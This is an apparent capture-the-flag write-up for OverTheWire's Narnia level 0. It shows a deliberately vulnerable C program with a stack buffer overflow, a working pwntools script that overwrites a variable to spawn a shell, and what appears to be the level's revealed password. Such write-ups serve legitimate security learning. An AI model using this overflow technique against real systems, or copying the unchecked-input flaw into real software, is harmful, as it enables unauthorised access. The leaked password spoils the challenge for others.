Narnia0
*  
binary  
overthewire

-
The source code:
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0x41414141;
char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);

printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);

if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}

return 0;
}
To exploit this binary I had to overflow the buf variable such that the value of val is affected and becomes "0xdeadbeef". 
At first I tried to make it work from the command line(python3 -c "print('A'*20 + VALUES)", but there was a problem with how Python3 handles byte strings.
I was stuck on it for a while, not understanding what am I doing wrong, then I checked other writeups and they had the same payload but they were Python2. 
I found this Reddit post https://www.reddit.com/r/AskNetsec/comments/1c3b0xn/overthewire_narnia_challenges_dont_seen_to_work/ that adressed the same problem.

The solution was to make a python pwn script:
from pwn import *
context.arch = 'i386'

p = process('/narnia/narnia0')
t = p.recvline()

payload = b'A'*20 + b'\xef\xbe\xad\xde'
print(payload)
p.sendline(payload)

p.interactive()

WDcYUTG5ul